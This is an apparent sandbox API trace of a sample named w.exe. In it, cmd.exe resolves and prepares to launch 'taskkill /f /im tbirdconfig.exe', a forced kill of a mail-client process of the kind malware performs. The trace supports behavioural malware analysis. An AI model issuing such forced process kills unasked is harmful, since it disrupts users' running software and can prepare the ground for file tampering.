	[0040.974] GetProcessHeap () returned 0x570000
	[0040.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xae2) returned 0x584b88
	[0040.974] FreeEnvironmentStringsW (penv=0x582228) returned 1
	[0040.974] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0040.974] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.974] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0040.974] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0040.975] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0040.975] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0040.975] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0040.975] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0040.975] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0040.975] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0040.975] GetProcessHeap () returned 0x570000
	[0040.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x585678
	[0040.975] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x46f804 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.975] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x46f804, lpFilePart=0x46f800 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x46f800*="Desktop") returned 0x25
	[0040.975] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0040.975] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x46f580 | out: lpFindFileData=0x46f580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x581e90
	[0040.975] FindClose (in: hFindFile=0x581e90 | out: hFindFile=0x581e90) returned 1
	[0040.975] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x46f580 | out: lpFindFileData=0x46f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x581e90
	[0040.975] FindClose (in: hFindFile=0x581e90 | out: hFindFile=0x581e90) returned 1
	[0040.975] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0040.976] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x46f580 | out: lpFindFileData=0x46f580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x581e90
	[0040.976] FindClose (in: hFindFile=0x581e90 | out: hFindFile=0x581e90) returned 1
	[0040.976] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0040.976] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0040.976] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0040.976] GetProcessHeap () returned 0x570000
	[0040.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584b88 | out: hHeap=0x570000) returned 1
	[0040.976] GetEnvironmentStringsW () returned 0x584098*
	[0040.976] GetProcessHeap () returned 0x570000
	[0040.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x585ed8
	[0040.976] FreeEnvironmentStringsW (penv=0x584098) returned 1
	[0040.976] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e55260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.976] GetProcessHeap () returned 0x570000
	[0040.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585678 | out: hHeap=0x570000) returned 1
	[0040.976] GetProcessHeap () returned 0x570000
	[0040.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400e) returned 0x586a18
	[0040.977] GetProcessHeap () returned 0x570000
	[0040.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x582d68
	[0040.977] GetProcessHeap () returned 0x570000
	[0040.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x58aa30
	[0040.977] GetProcessHeap () returned 0x570000
	[0040.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x58ea40
	[0040.978] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0040.979] GetProcessHeap () returned 0x570000
	[0040.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x582dc8
	[0040.979] SetErrorMode (uMode=0x0) returned 0x8003
	[0040.979] SetErrorMode (uMode=0x1) returned 0x0
	[0040.979] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x582dd0, lpFilePart=0x46f77c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x46f77c*="f") returned 0x31
	[0040.979] SetErrorMode (uMode=0x8003) returned 0x1
	[0040.979] GetProcessHeap () returned 0x570000
	[0040.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582dc8, Size=0x94) returned 0x582dc8
	[0040.979] GetProcessHeap () returned 0x570000
	[0040.979] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582dc8) returned 0x94
	[0040.979] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0040.979] GetProcessHeap () returned 0x570000
	[0040.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x592a68
	[0040.979] GetProcessHeap () returned 0x570000
	[0040.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd8) returned 0x582e68
	[0040.979] GetProcessHeap () returned 0x570000
	[0040.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582e68, Size=0x72) returned 0x582e68
	[0040.979] GetProcessHeap () returned 0x570000
	[0040.979] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582e68) returned 0x72
	[0040.980] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.980] GetProcessHeap () returned 0x570000
	[0040.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe0) returned 0x582ee8
	[0040.983] GetProcessHeap () returned 0x570000
	[0040.983] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582ee8, Size=0x76) returned 0x582ee8
	[0040.983] GetProcessHeap () returned 0x570000
	[0040.983] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582ee8) returned 0x76
	[0040.983] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.984] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im tbirdconfig.exe ", fInfoLevelId=0x1, lpFindFileData=0x46f518, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x46f518) returned 0xffffffff
	[0040.984] GetLastError () returned 0x3
	[0040.984] GetProcessHeap () returned 0x570000
	[0040.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58aa30 | out: hHeap=0x570000) returned 1
	[0040.984] GetProcessHeap () returned 0x570000
	[0040.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea40 | out: hHeap=0x570000) returned 1
	[0040.984] GetProcessHeap () returned 0x570000
	[0040.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a18 | out: hHeap=0x570000) returned 1
	[0040.984] GetConsoleOutputCP () returned 0x1b5
	[0040.984] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e54260 | out: lpCPInfo=0x49e54260) returned 1
	[0040.984] GetUserDefaultLCID () returned 0x409
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e54950, cchData=8 | out: lpLCData=":") returned 2
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x46f944, cchData=128 | out: lpLCData="0") returned 2
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x46f944, cchData=128 | out: lpLCData="0") returned 2
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x46f944, cchData=128 | out: lpLCData="1") returned 2
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e54940, cchData=8 | out: lpLCData="/") returned 2
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e54d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e54d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e54d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e54cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e54c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e54c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e54c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e54930, cchData=8 | out: lpLCData=".") returned 2
	[0040.985] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e54920, cchData=8 | out: lpLCData=",") returned 2
	[0040.986] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0040.987] GetProcessHeap () returned 0x570000
	[0040.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20c) returned 0x582f68
	[0040.987] GetConsoleTitleW (in: lpConsoleTitle=0x582f68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.987] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0040.987] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0040.987] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0040.987] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0040.987] GetProcessHeap () returned 0x570000
	[0040.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x586a18
	[0040.987] GetProcessHeap () returned 0x570000
	[0040.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a18 | out: hHeap=0x570000) returned 1
	[0040.988] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0040.988] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0040.988] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0040.988] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0040.988] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0040.988] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0040.988] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0040.988] GetProcessHeap () returned 0x570000
	[0040.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x58) returned 0x583180
	[0040.988] GetProcessHeap () returned 0x570000
	[0040.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x585718
	[0040.989] GetProcessHeap () returned 0x570000
	[0040.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3a) returned 0x5831e0
	[0040.990] GetConsoleTitleW (in: lpConsoleTitle=0x46f63c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.990] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0040.990] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0040.990] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0040.990] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0040.990] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0040.990] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0040.990] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0040.990] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0040.990] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0040.990] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0040.990] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0040.990] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0040.990] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0040.990] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0040.990] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0040.990] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0040.990] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0040.991] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0040.991] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0040.991] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0040.991] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0040.991] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0040.991] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0040.991] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0040.991] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0040.991] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0040.991] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0040.991] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0040.991] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0040.991] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0040.991] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0040.991] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0040.991] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0040.991] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0040.991] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0040.991] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0040.991] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0040.991] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0040.991] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0040.991] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0040.991] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0040.991] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0040.991] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0040.991] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0040.991] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0040.991] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0040.991] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0040.991] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0040.991] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0040.991] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0040.991] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0040.992] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0040.992] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0040.992] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0040.992] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0040.992] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0040.992] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0040.992] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0040.992] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0040.992] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0040.992] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0040.992] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0040.992] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0040.992] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0040.992] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0040.992] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0040.992] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0040.992] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0040.992] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0040.992] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0040.992] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0040.992] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0040.992] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0040.992] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0040.992] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0040.992] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0040.992] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0040.992] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0040.992] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0040.992] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0040.992] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0040.992] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0040.992] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0040.992] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0040.992] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0040.992] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0040.992] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0040.993] GetProcessHeap () returned 0x570000
	[0040.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x583228
	[0040.993] GetProcessHeap () returned 0x570000
	[0040.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4c) returned 0x583440
	[0040.993] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0040.993] GetProcessHeap () returned 0x570000
	[0040.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x5707f0
	[0040.993] SetErrorMode (uMode=0x0) returned 0x8003
	[0040.993] SetErrorMode (uMode=0x1) returned 0x0
	[0040.993] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5707f8, lpFilePart=0x46f15c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x46f15c*="Desktop") returned 0x25
	[0040.993] SetErrorMode (uMode=0x8003) returned 0x1
	[0040.993] GetProcessHeap () returned 0x570000
	[0040.994] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5707f0, Size=0x66) returned 0x5707f0
	[0040.994] GetProcessHeap () returned 0x570000
	[0040.994] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5707f0) returned 0x66
	[0040.994] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.994] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0040.994] GetProcessHeap () returned 0x570000
	[0040.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x583498
	[0040.994] GetProcessHeap () returned 0x570000
	[0040.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x570860
	[0040.996] GetProcessHeap () returned 0x570000
	[0040.996] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570860, Size=0x122) returned 0x570860
	[0040.996] GetProcessHeap () returned 0x570000
	[0040.996] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570860) returned 0x122
	[0040.996] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.996] GetProcessHeap () returned 0x570000
	[0040.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe0) returned 0x570990
	[0040.996] GetProcessHeap () returned 0x570000
	[0040.996] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570990, Size=0x76) returned 0x570990
	[0040.996] GetProcessHeap () returned 0x570000
	[0040.996] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570990) returned 0x76
	[0040.996] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.996] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x46eed8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x46eed8) returned 0xffffffff
	[0040.996] GetLastError () returned 0x2
	[0040.996] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x46eed8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x46eed8) returned 0xffffffff
	[0040.996] GetLastError () returned 0x2
	[0040.996] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.996] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x46eed8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x46eed8) returned 0x570a10
	[0040.997] GetProcessHeap () returned 0x570000
	[0040.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x570a50
	[0040.997] FindClose (in: hFindFile=0x570a10 | out: hFindFile=0x570a10) returned 1
	[0040.997] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x46eed8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x46eed8) returned 0xffffffff
	[0040.997] GetLastError () returned 0x2
	[0040.997] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x46eed8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x46eed8) returned 0x570a10
	[0040.997] GetProcessHeap () returned 0x570000
	[0040.997] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570a50, Size=0x4) returned 0x570a50
	[0040.997] FindClose (in: hFindFile=0x570a10 | out: hFindFile=0x570a10) returned 1
	[0040.997] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0040.997] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0040.997] GetConsoleTitleW (in: lpConsoleTitle=0x46f3d0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.997] InitializeProcThreadAttributeList (in: lpAttributeList=0x46f258, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x46f320 | out: lpAttributeList=0x46f258, lpSize=0x46f320) returned 1
	[0040.997] UpdateProcThreadAttribute (in: lpAttributeList=0x46f258, dwFlags=0x0, Attribute=0x60001, lpValue=0x46f318, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x46f258, lpPreviousValue=0x0) returned 1
	[0040.997] GetStartupInfoW (in: lpStartupInfo=0x46f214 | out: lpStartupInfo=0x46f214*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4)) 
	[0040.997] GetProcessHeap () returned 0x570000
	[0040.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x570a10
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
